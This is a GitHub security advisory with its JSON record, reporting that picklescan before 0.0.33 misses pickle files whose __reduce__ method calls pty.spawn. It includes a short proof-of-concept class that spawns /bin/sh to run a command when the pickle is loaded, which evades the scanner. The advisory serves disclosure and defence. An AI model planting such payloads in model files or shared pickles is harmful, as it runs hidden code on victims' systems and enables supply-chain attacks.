GHSA-VQMV-47XG-9WPR

Vulnerability from github – Published: 2025-12-29 15:24 – Updated: 2025-12-29 15:24
VLAI?
Summary
Picklescan missing detection when calling pty.spawn
Details

Summary

Using pty.spawn, which is a built-in python library function to execute arbitrary commands on the host system.

Details

The attack payload executes in the following steps: First, the attacker craft the payload by calling to pty.spawn function in the __reduce__ method. Then the victim attempts to use picklescan to scan the pickle file for issues and sees this -

----------- SCAN SUMMARY -----------
Scanned files: 1
Infected files: 0
Dangerous globals: 0

The victim proceeds to load the pickle file and execute attacker-injected arbitrary code.

PoC

class PtyExploit:
  def __reduce__(self):
    return (pty.spawn, (["/bin/sh", "-c", "id; exit"],))

Impact

Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models. What is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded. Supply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.

Collaborators

https://github.com/ajohnston9 https://github.com/geo-lit

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "picklescan"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.0.33"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-502"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-12-29T15:24:33Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\nUsing pty.spawn, which is a built-in python library function to execute arbitrary commands on the host system.\n\n### Details\nThe attack payload executes in the following steps:\nFirst, the attacker craft the payload by calling to `pty.spawn` function in the `__reduce__` method. Then the victim attempts to use picklescan to scan the pickle file for issues and sees this -\n```\n----------- SCAN SUMMARY -----------\nScanned files: 1\nInfected files: 0\nDangerous globals: 0\n```\nThe victim proceeds to load the pickle file and execute attacker-injected arbitrary code.\n\n### PoC\n```\nclass PtyExploit:\n  def __reduce__(self):\n    return (pty.spawn, ([\"/bin/sh\", \"-c\", \"id; exit\"],))\n```\n\n### Impact\n**Who is impacted?** Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models.\n**What is the impact?** Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded.\n**Supply Chain Attack**: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.\n\n### Collaborators\nhttps://github.com/ajohnston9\nhttps://github.com/geo-lit",
  "id": "GHSA-vqmv-47xg-9wpr",
  "modified": "2025-12-29T15:24:33Z",
  "published": "2025-12-29T15:24:33Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-vqmv-47xg-9wpr"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mmaitre314/picklescan/pull/53"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mmaitre314/picklescan/commit/70c1c6c31beb6baaf52c8db1b6c3c0e84a6f9dab"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/mmaitre314/picklescan"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mmaitre314/picklescan/releases/tag/v0.0.33"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Picklescan missing detection when calling pty.spawn"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…